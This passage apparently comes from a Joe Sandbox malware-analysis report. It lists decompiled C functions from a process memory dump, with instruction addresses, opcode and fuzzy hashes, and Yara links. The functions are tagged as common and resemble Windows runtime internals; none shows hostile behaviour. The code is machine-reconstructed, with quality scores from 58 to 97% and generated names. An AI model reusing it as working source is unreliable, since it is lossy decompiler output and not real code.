				_t68 = L00DC4620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x00e27016
0x00e2701e
0x00e2702b
0x00e27033
0x00e27037
0x00e2703c
0x00e2703e
0x00e27041
0x00e27045
0x00e2704a
0x00e27050
0x00e27055
0x00e2705a
0x00e27062
0x00e27062
0x00e2705a
0x00e27064
0x00e27064
0x00e27067
0x00e27071
0x00e27096
0x00e2709b
0x00e270a2
0x00e270a6
0x00e270a7
0x00e270ad
0x00e270b3
0x00e270b6
0x00e270bb
0x00e270c3
0x00e270c3
0x00e270c6
0x00e270cd
0x00e270dd
0x00e270e0
0x00e270e2
0x00e270e2
0x00e270ee
0x00e27101
0x00e270f0
0x00e270f9
0x00e270f9
0x00e2710a
0x00e2710e
0x00e27112
0x00e27117
0x00e27118
0x00e27118
0x00e270bb
0x00e2711d
0x00e27123
0x00e27131
0x00e27131
0x00e27136
0x00e2713d
0x00e2713e
0x00e2713f
0x00e2714a
0x00e2714a
0x00e27084
0x00e27088
0x00000000
0x00e2708e
0x00e2708e
0x00e27092
0x00000000
0x00e27092

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 858864dc0b16b7168b89cae2eda848481078d6fa345250bed546ea13db43084b
Instruction ID: 2933d114f8a1e95274096d539eb7a72976258eec34087544b3c7dcfad4b03fe8
Opcode Fuzzy Hash: 858864dc0b16b7168b89cae2eda848481078d6fa345250bed546ea13db43084b
Instruction Fuzzy Hash: FD31B3726097A19BC320DF28D941E6AB3E5FF88700F044A2DF89597691E730ED14CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00DCC182 Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00DCC182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(L00DC7D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = L00E78D34(_v8, _t80);
					}
					E00DC2280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						L00DBFFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E00E78833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						L00DBFFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E00DEB180();
						if(_a4 != 0) {
							E00DC2280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E00DCBB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E00DCBB2D(_t16, _t15);
						E00DCB944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						L00DBFFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							L00DBFFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					L00DBFFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x00dcc18d
0x00dcc18f
0x00dcc191
0x00dcc19b
0x00dcc1a0
0x00dcc1d4
0x00dcc1de
0x00e12d6e
0x00dcc1e4
0x00dcc1e4
0x00dcc1e4
0x00dcc1ec
0x00e12d7d
0x00e12d7d
0x00dcc1f3
0x00dcc1ff
0x00e12d88
0x00e12d8d
0x00e12d94
0x00e12d94
0x00e12d9f
0x00e12da4
0x00e12dab
0x00e12db0
0x00e12db2
0x00e12db3
0x00e12db4
0x00e12dbc
0x00e12dc3
0x00e12dc3
0x00dcc205
0x00dcc205
0x00dcc208
0x00dcc20e
0x00dcc211
0x00dcc216
0x00dcc219
0x00dcc21f
0x00dcc222
0x00dcc22c
0x00dcc234
0x00dcc23a
0x00dcc23f
0x00dcc245
0x00dcc24b
0x00dcc251
0x00dcc25a
0x00dcc276
0x00dcc27d
0x00dcc27d
0x00dcc25c
0x00dcc25c
0x00000000
0x00dcc25e
0x00dcc1a4
0x00dcc1aa
0x00dcc1b3
0x00dcc265
0x00dcc26c
0x00dcc26c
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 31d54652d08d06337c86071df9d94ab6cc7b9cfe8a24fed4cd92eff5fea9facc
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: 1B312272A01687AAD704EBB4C881FE9F754FF46304F18816EE21C57202CB34AA59DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00DD61A0 Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00DD61A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = L00DD5E50(0xd867cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							L00E79D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						L00DAF7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x00dd61b3
0x00dd61b5
0x00dd61bd
0x00dd61c3
0x00dd61c7
0x00dd61d2
0x00dd61ff
0x00dd61ff
0x00dd6201
0x00dd6207
0x00dd6207
0x00dd61d4
0x00dd61d9
0x00000000
0x00000000
0x00dd61df
0x00dd61e2
0x00000000
0x00000000
0x00dd61e6
0x00dd61e8
0x00dd61ee
0x00dd61ee
0x00dd61f9
0x00e1762f
0x00e17632
0x00e17635
0x00e17639
0x00e17640
0x00e1766e
0x00e17675
0x00000000
0x00000000
0x00e17681
0x00e17689
0x00e1768d
0x00e17691
0x00e17695
0x00e17699
0x00e176af
0x00e176b5
0x00e176b7
0x00e176b7
0x00e176d7
0x00e176dc
0x00000000
0x00e176dc
0x00e176a2
0x00e176a9
0x00e17651
0x00e17653
0x00e17653
0x00e17656
0x00e17656
0x00000000
0x00e17656
0x00e17644
0x00e17646
0x00e17648
0x00e17648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: febd162aa649295080ee80920ec3270589bca8ea6df5b5dd1c91188294b9875a
Instruction ID: be9785a3b8f7215fad6127c95273755c7206c7b95ff378e513a92320c207e671
Opcode Fuzzy Hash: febd162aa649295080ee80920ec3270589bca8ea6df5b5dd1c91188294b9875a
Instruction Fuzzy Hash: E2318E726097019FD320CF19C800B66B7E5FB88B04F19496EF998A7351D770DD44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DAAA16 Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00DAAA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0xe9d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0xe97b9c; // 0x0
					_t53 = L00DC4620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return L00DEB640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E00DEF3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L00DB6C59(_t53, _t51, _t58) != 0) {
							_t28 = L00DD5E50(0xd8c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E00DDB230(_v32, _v28, 0xd8c2d8, 1,  &_v24);
								_t28 = L00DAF7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x00daaa25
0x00daaa29
0x00daaa2d
0x00daaa30
0x00daaa37
0x00daaa3c
0x00e04458
0x00e04458
0x00e04472
0x00e04474
0x00e04476
0x00daaa64
0x00daaa74
0x00e0447c
0x00e04483
0x00e04492
0x00daaa52
0x00daaa54
0x00daaa5e
0x00e044a8
0x00e044ad
0x00e044af
0x00e044b6
0x00e044b6
0x00e044b9
0x00e044bc
0x00e044cd
0x00e044d3
0x00e044d6
0x00e044e1
0x00e044e1
0x00e044e6
0x00e044e8
0x00e044fb
0x00e044fb
0x00e044e8
0x00000000
0x00daaa5e
0x00e04476
0x00daaa42
0x00daaa46
0x00daaa48
0x00daaa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 283a8a565728fdf38d09823e8ee75e7df43a733268874fe8d5cec647e1ef4407
Instruction ID: fd9af4c79ea98a1e840f832c4a7a87cd0c446f038e74fc3234656598b0b7f418
Opcode Fuzzy Hash: 283a8a565728fdf38d09823e8ee75e7df43a733268874fe8d5cec647e1ef4407
Instruction Fuzzy Hash: 4831B4B1A00219ABCB11AF65CD42A7FB7B9EF04700B01446AF901E7291E7749D51DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00DE4A2C Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00DE4A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0xe9d360 ^ _t62;
				_v8 =  *0xe9d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E00DC2280(_t26, 0xe98608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						L00DBFFB0(_t41, _t51, 0xe98608);
						L2:
						 *0xe9b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return L00DEB640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E00DC2280(_t28, 0xe98608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							L00DBFFB0(_t42, _t53, 0xe98608);
							if(_t53 != 0) {
								L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						L00DBFFB0(_t41, _t51, 0xe98608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x00de4a2c
0x00de4a34
0x00de4a3c
0x00de4a3e
0x00de4a48
0x00de4a4b
0x00de4a4d
0x00de4a51
0x00de4a9c
0x00000000
0x00000000
0x00de4aa3
0x00de4aa8
0x00de4aad
0x00de4ab1
0x00de4ade
0x00de4ae3
0x00de4a5a
0x00de4a62
0x00de4a6a
0x00de4a6e
0x00e1f203
0x00de4a84
0x00de4a88
0x00de4a89
0x00de4a8a
0x00de4a95
0x00de4a95
0x00de4a79
0x00de4a80
0x00de4af2
0x00de4af4
0x00de4af9
0x00de4aff
0x00de4b01
0x00de4b03
0x00de4b08
0x00e1f20a
0x00e1f212
0x00e1f216
0x00e1f216
0x00de4b08
0x00de4b13
0x00de4b1a
0x00e1f229
0x00e1f229
0x00de4b1a
0x00de4a82
0x00000000
0x00de4a82
0x00de4ab7
0x00de4acd
0x00de4acd
0x00de4ad5
0x00de4ada
0x00000000
0x00de4ada
0x00de4ac2
0x00de4acb
0x00000000
0x00000000
0x00000000
0x00de4acb
0x00de4a53
0x00de4a53
0x00de4a58
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac7ac7f13a45c7d37be9d21b0d15d8cf2ede15207fd91acbb9c19650c150102
Instruction ID: 6403556e8aafad718f66756b800b60a4c57dd5d1de64053d48a51a02f9943c89
Opcode Fuzzy Hash: 7ac7ac7f13a45c7d37be9d21b0d15d8cf2ede15207fd91acbb9c19650c150102
Instruction Fuzzy Hash: B6313432246390DBCB21AF16CA85B2AB7A4FF85728F150539F4565B252CB70DC04CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00DDBC2C Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00DDBC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0xe96100; // 0xc
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E00DC2280(0xd, 0x48ef1a0);
				_t41 =  *0xe960f8; // 0x0
				if(_t41 != 0) {
					 *0xe960f8 =  *_t41;
					 *0xe960fc =  *0xe960fc + 0xffff;
				}
				L00DBFFB0(_t41, 0x800, 0x48ef1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0xe960f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L00DC4620(0xe96100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0xe96100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x00ddbc36
0x00ddbc42
0x00ddbc45
0x00ddbc4a
0x00ddbd35
0x00000000
0x00000000
0x00000000
0x00000000
0x00ddbc50
0x00ddbc50
0x00ddbc58
0x00ddbc5a
0x00ddbc60
0x00000000
0x00000000
0x00e1a4f2
0x00e1a4f6
0x00000000
0x00000000
0x00000000
0x00e1a4fc
0x00ddbc79
0x00ddbc7e
0x00ddbc86
0x00ddbd16
0x00ddbd20
0x00ddbd20
0x00ddbc8d
0x00ddbc94
0x00ddbcbd
0x00ddbcca
0x00ddbccb
0x00ddbccc
0x00ddbccd
0x00ddbcce
0x00ddbcd4
0x00ddbcea
0x00ddbcee
0x00ddbcf2
0x00ddbd00
0x00ddbd04
0x00000000
0x00ddbc96
0x00ddbcab
0x00ddbcaf
0x00ddbd2c
0x00ddbd2c
0x00ddbd09
0x00000000
0x00ddbd09
0x00ddbcb1
0x00ddbcb5
0x00ddbcbb
0x00000000
0x00000000
0x00000000
0x00ddbcbb

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb0e5bb2439382d9e9ec0cee39f1b6559edce7db75da6d0de9c6176991306f77
Instruction ID: 48918f04f642f46d443c3683b4e5ac91ba3ee3cb3596ffd05c668117b50d1156
Opcode Fuzzy Hash: bb0e5bb2439382d9e9ec0cee39f1b6559edce7db75da6d0de9c6176991306f77
Instruction Fuzzy Hash: 6631CE76600615DFCB11DF59C8C17A673A5FB18325F16007BE949EB301EB74D9498BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DA9100 Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00DA9100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0xe7f6e8);
				E00DFD0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E00E788F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E00DFD130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0xe986c0; // 0x8707b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0xe986b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E00DC2280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E00E788F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							L00DEAFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0xe9b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0xe984c0;
										if(_t69 >=  *0xe984c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E00E79063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E00DA922A(_t82);
							_t53 = L00DC7D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E00E78B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0xe986c0; // 0x8707b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0xe986b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0xe986bc;
										_t72 = 0xe986b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E00DA9240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0xe986c4;
									_t72 = 0xe986c0;
									L18:
									E00DD9B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x00da9100
0x00da9100
0x00da9100
0x00da9100
0x00da9102
0x00da9107
0x00da910c
0x00da9110
0x00da9115
0x00da9136
0x00da9143
0x00e037e4
0x00e037e4
0x00da9149
0x00da914e
0x00da914e
0x00da9117
0x00da911d
0x00000000
0x00000000
0x00da911f
0x00da9125
0x00000000
0x00da9151
0x00da9158
0x00da915d
0x00da9161
0x00da9168
0x00e03715
0x00000000
0x00da916e
0x00da916e
0x00da9175
0x00da9177
0x00da917e
0x00da917f
0x00da9182
0x00da9182
0x00da9187
0x00da9187
0x00da918a
0x00da918d
0x00da918f
0x00da9192
0x00da9195
0x00da9198
0x00da9198
0x00da9198
0x00da919a
0x00000000
0x00000000
0x00e0371f
0x00e03721
0x00e03727
0x00e0372f
0x00e03733
0x00e03735
0x00e03738
0x00e0373b
0x00e0373d
0x00e03740
0x00000000
0x00000000
0x00e03746
0x00e03749
0x00000000
0x00000000
0x00e0374f
0x00e03751
0x00000000
0x00000000
0x00e03757
0x00e03759
0x00e0375c
0x00e0375c
0x00e0375e
0x00e0375e
0x00e03761
0x00e03764
0x00000000
0x00000000
0x00e03766
0x00e03768
0x00e037a3
0x00e037a3
0x00e037a5
0x00e037a7
0x00e037ad
0x00e037b0
0x00e037b2
0x00e037bc
0x00e037c2
0x00e037c2
0x00e037b2
0x00da9187
0x00da9187
0x00da918a
0x00da918d
0x00da918f
0x00da9192
0x00da9195
0x00000000
0x00da9195
0x00000000
0x00da9187
0x00e0376a
0x00e0376a
0x00e0376c
0x00e0376c
0x00e0376f
0x00e03775
0x00000000
0x00000000
0x00e03777
0x00e03779
0x00000000
0x00000000
0x00e03782
0x00e03787
0x00e03789
0x00e03790
0x00e03790
0x00e0378b
0x00e0378b
0x00e0378b
0x00e03792
0x00e03795
0x00e03795
0x00e03798
0x00e03798
0x00e0379b
0x00e0379b
0x00da91a3
0x00da91a9
0x00da91b0
0x00da91b4
0x00da91b4
0x00da91bb
0x00da91c0
0x00da91c5
0x00da91c7
0x00e037da
0x00da91cd
0x00da91cd
0x00da91cd
0x00da91d2
0x00da91d5
0x00da9239
0x00da9239
0x00da91d7
0x00da91db
0x00da91e1
0x00da91e7
0x00da91fd
0x00da9203
0x00da921e
0x00da9223
0x00000000
0x00da9223
0x00da9205
0x00da9208
